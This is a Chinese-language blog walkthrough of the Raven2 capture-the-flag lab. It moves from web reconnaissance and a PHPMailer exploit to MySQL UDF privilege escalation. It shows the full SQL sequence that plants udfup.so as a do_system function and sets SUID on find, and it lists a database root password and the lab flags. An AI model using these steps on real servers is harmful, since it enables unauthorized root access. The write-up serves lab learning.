MySQL 数据库 UDF 提权

免责声明

本博客文章仅供教育和研究目的使用。本文中提到的所有信息和技术均基于公开来源和合法获取的知识。本文不鼓励或支持任何非法活动,包括但不限于未经授权访问计算机系统、网络或数据。

作者对于读者使用本文中的信息所导致的任何直接或间接后果不承担任何责任。包括但不限于因使用本文所述技术而可能导致的法律诉讼、财产损失、隐私泄露或其他任何形式的责任。

在进行任何渗透测试或安全研究之前,请确保您已获得所有必要的授权,并遵守适用的法律和道德准则。未经授权的安全测试可能违反法律,并可能导致严重的法律后果。

本文中的内容仅供参考,不应被视为专业建议。在进行任何安全相关活动之前,建议咨询具有相应资质的专业人士。

作者保留对本博客文章的所有权利,并有权在未经通知的情况下进行修改或删除。

0x01 环境简介与环境搭建

0x01-1 机器简介

序号

服务器

角色

操作系统

处理器架构

IPv4地址

1

Kali Linux

渗透服务器

Linux

x64

192.168.162.11

2

Raven2

?

?

?

?

0x01-2 行动目标

        1 => 黑盒测试

        2 => 得到机器中的 4 个 flag

        3 => 使用 UDF 进行提权

0x02 探索发现阶段

0x02-1 主机发现

0x02-2 端口扫描

0x02-3 服务探测

根据服务探测结果,可知该服务器对外开放了一个 HTTP 服务端口,尝试访问服务器 Web 服务

根据浏览器插件 Wappalyzer 可以得出,该 Web 服务器是由 WordPress 内容管理系统搭建的;服务器后端所使用的编程语言为 PHP,版本为 5.5.38;操作系统为 Linux 的发行版 Debian;Web 服务器为 Apache。页面中有几个导航栏,尝试访问收集更多的信息

发现该页面存在一个类似于留言板的功能,猜测可能会存在 XSS 注入漏洞

0x03 入侵和感染阶段

0x03-1 对 Web 服务进行目录扫描

出现了任意文件读取的情况,属于信息泄露

得到 flag1

网站还使用了 PHPMailer 组件

版本应该为 5.2.16

0x03-2 查询有关 PHPMailer 组件的历史漏洞

0x03-2.1 使用 MSF 进行查询

0x03-2.2 使用 Google 进行查询

0x03-3 配置脚本信息

0x03-3.1 将脚本拷贝一份进行修改

0x03-3.2 修改脚本信息

0x03-3.3 执行脚本

0x03-4 监听端口获取反弹 shell

0x03-4.1 监听 4444 端口

0x03-4.2 访问 re.php 文件

0x03-4.3 查看当前权限以及网络信息

发现当前服务器只有一张网卡,不存在内网环境,只需要将当前服务器权限提升至 root 权限,查找 flag 即可

0x03-4.4 查看网站根目录

查看目录下配置文件是否存在

查看配置文件内容

0x04 攻击和利用阶段

0x04-1 尝试登录数据库

进入数据库后需要收集一些数据库信息,只有掌握了足够多的信息,才能使渗透过程更加顺利

select database();                                     # 查询当前数据库

select version();                                      # 获取数据库版本

select user();                                         # 获取数据库用户

select @@basedir;                                      # 获取数据库安装目录

select @@version_compile_os;                           # 数据库所在的操作系统版本

select user,host from mysql.user where user='root'     # 查看数据库是否开启了远程连接

show variables like '%plugin%';                        # 查看 plugin 路径

show global variables like 'secure%';                  # secure_file_priv 值是否为空

0x04-1.1 查询是否开启 MySQL 远程连接

MySQL 数据库不允许远程连接,因此不能使用 MSF 进行提权

0x04-1.2 查询 MySQL 版本

0x04-1.3 查询 plugin 路径

0x04-1.4 查询 secure_file_priv 值是否为空

secure_file_priv 值为空,说明可以导出表中的数据

0x04-2 查看 MySQL 数据库进程

MySQL 数据库运行权限为 root

0x04-3 使用脚本配合 UDF 提权

0x04-3.1 使用 MSF 中 UDF 提权脚本

0x04-3.1.1 查询脚本

0x04-3.1.2 拷贝脚本

查看该文件有使用说明

0x04-3.2 编译 c 文件

0x04-3.3 将 udfup.so 文件保存至目标服务器

0x04-3.3.1 在 Kali 上开启 HTTP 服务

0x04-3.3.2 下载 Kali 上的 udfup.so 文件

为了避免行动动静太大,将 udfup.so 文件移动至目标服务器的 /tmp 目录下

0x04-3.4 进行 UDF 提权

		www-data@Raven:/tmp$ mysql -uroot -pR@v3nSecuritymysql -uroot -pR@v3nSecurityWelcome to the MySQL monitor.  Commands end with ; or \g.Your MySQL connection id is 38Server version: 5.5.60-0+deb8u1 (Debian)Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql> use mysql;use mysql;Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -ADatabase changedmysql> create table udfup(line blob);create table udfup(line blob);Query OK, 0 rows affected (0.01 sec)mysql> insert into udfup values(load_file('/tmp/udfup.so'));insert into udfup values(load_file('/tmp/udfup.so'));Query OK, 1 row affected (0.01 sec)mysql> select * from udfup into dumpfile '/usr/lib/mysql/plugin/udfup.so';select * from udfup into dumpfile '/usr/lib/mysql/plugin/udfup.so';Query OK, 1 row affected (0.01 sec)mysql> create function do_system returns integer soname 'udfup.so';create function do_system returns integer soname 'udfup.so';Query OK, 0 rows affected (0.00 sec)mysql> select * from mysql.func;select * from mysql.func;+-----------+-----+----------+----------+| name      | ret | dl       | type     |+-----------+-----+----------+----------+| do_system |   2 | udfup.so | function |+-----------+-----+----------+----------+1 row in set (0.00 sec)mysql> select do_system('chmod u+s /usr/bin/find');select do_system('chmod u+s /usr/bin/find');+--------------------------------------+| do_system('chmod u+s /usr/bin/find') |+--------------------------------------+|                                    0 |+--------------------------------------+1 row in set (0.00 sec)mysql>

SQL 语句解释

create table udfup(line blob);

作用:创建一张名为 udfup 的表,其中包含一个字段 line,类型为 BLOB(二进制大对象)

目的:用于临时存储动态链接库(.so 文件)的内容

insert into udfup values(load_file('/tmp/udfup.so'));

作用:通过 load_file 函数将 /tmp/udfup.so 文件的内容读取并插入到 udfup 表中

目的:将目标系统中的动态链接库文件加载到数据库中,为后续操作做准备

select * from udfup into dumpfile '/usr/lib/mysql/plugin/udfup.so';

作用:将 udfup 表中的内容导出到文件 /usr/lib/mysql/plugin/udfup.so

目的:在 MySQL 插件目录中放置恶意的 UDF 动态链接库文件(.so 文件)。此文件后续会被 MySQL 加载,执行任意系统命令

create function do_system returns integer soname 'udfup.so';

作用:创建一个名为 do_system 的 UDF 函数,该函数通过加载 udfup.so 动态链接库实现

目的:定义一个可以在 SQL 中调用的函数,用于执行任意系统命令

select * from mysql.func;

作用:查看 MySQL 的函数表 mysql.func,列出当前所有定义的 UDF 函数

目的:确认恶意函数 do_system 是否成功创建

select do_system('chmod u+s /usr/bin/find');

作用:调用 do_system 函数,在目标系统上执行命令 chmod u+s /usr/bin/find

目的:将 find 命令设置为 SUID 位(即具有 root 权限),后续攻击者可以利用 find 命令以 root 权限执行任意命令,进一步提权

接下来就可以使用 find 命令执行系统命令

进入 root 权限的 sh 环境并查找 flag 文件

至此,目标服务器上的 4 个 flag 已经全部获取

        flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

        flag2{6a8ed560f0b5358ecf844108048eb337}

        flag3{a0f568aa9de277887f37730d71520d9b}

        flag4{df2bc5e951d91581467bb9a2a8ff4425}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/67613.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VUE3 vite下的axios跨域

在使用 Vite 开发时,如果你的前端项目需要请求后端 API,且后端和前端不在同一个域上,可能会遇到跨域问题。跨域是指浏览器出于安全考虑,阻止了前端网页向不同源(域名、协议、端口)发送请求。 解决跨域问题…

【数据分享】1929-2024年全球站点的逐年平均气温数据(Shp\Excel\无需转发)

气象数据是在各项研究中都经常使用的数据,气象指标包括气温、风速、降水、湿度等指标,其中又以气温指标最为常用!说到气温数据,最详细的气温数据是具体到气象监测站点的气温数据!本次我们为大家带来的就是具体到气象监…

rust学习-函数的定义与使用

rust学习-函数的定义与使用 1. 函数的基本定义2. 函数的参数多个参数 3. 返回值提前返回 4. 函数调用5. 函数的所有权和借用传递所有权借用 6. 函数作为参数和返回值函数作为参数函数作为返回值 7. 泛型函数8. 函数注释(文档注释) 1. 函数的基本定义 在R…

【Linux 源码】内核态到用户态

文章目录 1. 由来2. 流程图3. 中断3.1 概念3.2 8259A芯片3.4 中断时的栈处理3.4.1 相同特权级3.4.2 不同特权级 3.5 中断流程3.6 定位中断程序3.7 中断流程步骤总结 4. 源码4.1 move_to_user_mode4.2 0号进程4.3 TSS和LDT在GDT表排布4.4 ldt中的0x17栈段 5. 总结 1. 由来 ​ 首…

雷电9最新版安装Magisk+LSPosd(新手速通)

大家好啊!我是NiJiMingCheng 我的博客:NiJiMingCheng 在安卓系统的定制与拓展过程中,获取 ROOT 权限以及安装各类框架是进阶玩家常用的操作,这可以帮助我们实现更多系统层面的个性化功能。今天,我将为大家详细介绍如何…

【vim】vim编辑器如何设置行号

vim编辑器如何设置行号 一、**临时设置行号**二、永久设置行号2.1. **用户配置文件方式(针对当前用户)**2.2. **全局配置文件方式(谨慎使用,会影响所有用户)** 在Vim中设置行号有以下两种常见的方法: 一、…

《Linux服务与安全管理》| 邮件服务器安装和配置

《Linux服务与安全管理》| 邮件服务器安装和配置 目录 《Linux服务与安全管理》| 邮件服务器安装和配置 1.在Server01上安装dns、postfix、dovecot和telnet,并启动 2.在Server01上配置DNS服务器,设置MX资源记录 3.在server1上…

基于 K-Means 聚类分析实现人脸照片的快速分类

注:本文在创作过程中得到了 ChatGPT、DeepSeek、Kimi 的智能辅助支持,由作者本人完成最终审阅。 在 “视频是不能 P 的” 系列文章中,博主曾先后分享过人脸检测、人脸识别等相关主题的内容。今天,博主想和大家讨论的是人脸分类问题。你是否曾在人群中认错人,或是盯着熟人的…

计算机毕业设计Python电商品推荐系统 商品比价系统 电商比价系统 商品可视化 商品爬虫 机器学习 深度学习 京东爬虫 国美爬虫 淘宝爬虫 大数据

温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…

【银河麒麟高级服务器操作系统】业务访问慢网卡丢包现象分析及处理过程

了解更多银河麒麟操作系统全新产品,请点击访问 麒麟软件产品专区:product.kylinos.cn 开发者专区:developer.kylinos.cn 文档中心:document.kylinos.cn 交流论坛:forum.kylinos.cn 服务器环境以及配置 【内核版本…

鸿蒙开发中的骨架图:提升用户体验的关键一环

大家好,我是小 z,今天要给大家分享一个提升用户体验的超实用技巧 —— 骨架图🎯 文章目录 一、什么是骨架图二、骨架图的作用三、鸿蒙开发中实现骨架图的方法1. 利用 opacity 奠定视觉基础2. animateTo 驱动动态变化3. 二者协同触发与展示 四…

owasp SQL 手工注入 - 02 (技巧)

SQL 注入分为: 布尔注入,还有union 注入,布尔注入是指" 或“ 和”,这个注入,写成语句就是OR 11 , and 这种语句。 下面重点说一下union 注入的原理: 1: 先看两个表union 的结果: mysql> select user,passwor…

第16章:Python TDD实现多币种货币运算

写在前面 这本书是我们老板推荐过的,我在《价值心法》的推荐书单里也看到了它。用了一段时间 Cursor 软件后,我突然思考,对于测试开发工程师来说,什么才更有价值呢?如何让 AI 工具更好地辅助自己写代码,或许…

leetcode刷题记录(七十三)——543. 二叉树的直径

(一)问题描述 543. 二叉树的直径 - 力扣(LeetCode)543. 二叉树的直径 - 给你一棵二叉树的根节点,返回该树的 直径 。二叉树的 直径 是指树中任意两个节点之间最长路径的 长度 。这条路径可能经过也可能不经过根节点 r…

【esp32小程序】小程序篇02——连接git

一、创建仓库 进入gitee官网,登录(如果没有gitee账号的就自行注册一下)。 点击号-->新建仓库 填写好必填信息,然后点击“创建” 二、微信开发者工具配置 在微信开发者工具打开我们的项目。按下面的步骤依次点击 三、验证 点…

Linux的基本指令(上) -- 0基础入门

目录 知识点引入 基本指令 ls指令 pwd 命令 cd 指令 touch 指令 stat指令 mkdir 指令 tree指令 rmdir 指令 rm 命令 man 指令 which 指令 alias 指令 echo指令 输出重定向: > 追加重定向:>> cp 指令 知识点引入 1. Linux中路径用 / 作为路径分隔…

Java测试开发平台搭建(九)前端

1. 搭建前端vue环境 Vue3 安装 | 菜鸟教程 2. 创建项目 1.进入ui vue ui 2. create项目 3. 成功之后添加插件: cli-plugin-router vue-cli-plugin-vuetify 4. 添加依赖 axios 5. 点击任务开始运行 如果报错: 修改vue.config.jsconst { defineConfig }…

基于SpringBoot+Vue的智慧动物园管理系统的设计与实现

获取源码:基于SpringBootVue智慧动物园系统设计与实现: 后台和用户前台。后台包括首页、员工管理、考勤管理、部门管理、角色管理、审核管理、动物管理、演出管理、园区管理、园区设施维修、饲养管理、行为观察管理、疫苗管理、看护管理、个人中心、票务管理、收入管…

麒麟V10系统上安装Oracle

以下是在麒麟V10系统上安装Oracle数据库的详细步骤: 安装前准备 检查系统版本:使用uname -a、cat /etc/os-release等命令检查服务器是麒麟V10系统。 配置固定IP和本地yum源: 挂载麒麟V10的iso文件到/mnt目录,如mount -o loop Ky…

55.【5】BUUCTF WEB NCTF2019 sqli

进入靶场 输入admin 123 过滤的这么严格??? 过滤很严格,此时要么爆破,要么扫描 直接扫描,得到robots.txt 访问后又得到hint.txt 继续访问 图片内容如下 $black_list "/limit|by|substr|mid|,|admi…